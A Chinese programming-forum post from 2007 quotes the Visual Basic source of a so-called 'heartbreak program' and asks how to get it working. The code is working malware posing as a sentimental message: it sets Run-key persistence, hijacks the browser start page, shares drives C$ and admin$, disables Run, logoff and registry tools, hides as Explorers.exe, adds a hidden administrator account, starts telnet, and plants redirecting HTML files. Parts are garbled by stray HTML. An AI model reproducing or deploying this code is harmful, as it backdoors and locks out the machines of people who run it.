| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 902 人关注过本帖
标题:失恋程序代码分析
取消只看楼主 加入收藏
VB9527
Rank: 1
等 级:新手上路
帖 子:1
专家分:0
注 册:2007-11-9
收藏
 问题点数:0 回复次数:0 
失恋程序代码分析

Option Explicit
Private Sub Form_Load()
On Error Resume Next
If App.PrevInstance Then
End
End If
MsgBox "朋友在网上失恋的痛苦中诞生这套程序,也许只有它能表达我对他现在心情理解。。。。。" & vbCrLf & vbCrLf & "想和我成为朋友的就加我QQ:545704252!", vbApplicationModal, "真爱无错V1.0"
Dim Mypath
Mypath = App.Path & "\" & App.EXEName & ".exe"
Dim Writereg
Dim Wsh_shell
Set Wsh_shell = New IWshShell_Class
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Systemm", Mypath, "REG_SZ")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Systemmm", "500)this.width=500" align=absMiddle border=0>http://hsz.oor.cn"REG_SZ")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Flags", "302", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Type", "0", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Path", "C:\")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "500)this.width=500" align=absMiddle border=0>http://hsz.oor.cn")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "BLOG地址:http://hi.baidu.com/hydown")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives", "04", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer \NoDesktop", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("", "01", "REG_DWORD")
Dim fso
Dim dir1
Set fso = CreateObject("scripting.filesystemobject")
Set dir1 = fso.GetSpecialFolder(0)
FileCopy Mypath, dir1 & "\System32\Explorers.exe"
Shell "cmd.exe /c " & dir1 & "\System32\Explorers.exe", vbHide
Shell "cmd.exe /c net user lilong /add&net localgroup administrators lilong /add", vbHide
Shell "cmd.exe /c & net start telnet", vbHide
Shell "cmd.exe /c & net share admin$", vbHide
On Error Resume Next
Dim nowtime
Dim i
nowtime = Date
If nowtime <> "2008-10-1" Then
For i = 1 To 999
Open "d:\《真爱无错》" & "第" & i & "集" & ".htm" For Append As #1
Print #1, "<script language=’javascript’>alert(’众人皆醒我独醉,心有灵犀最珍贵,邂逅真爱不后悔,今生只为你相随。有空和我聊聊吧,!’)</script>"
Print #1, "<script language=’javascript’>window.location=’500)this.width=500" align=absMiddle border=0>http://hsz.oor.cn/’</script>"
Close #1
Next
End If
End Sub


请问一下这是用VB编的吗?我用上去怎么是错的?该怎么用????

搜索更多相关主题的帖子: 失恋 代码 
2007-11-09 19:29
快速回复:失恋程序代码分析
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.016693 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved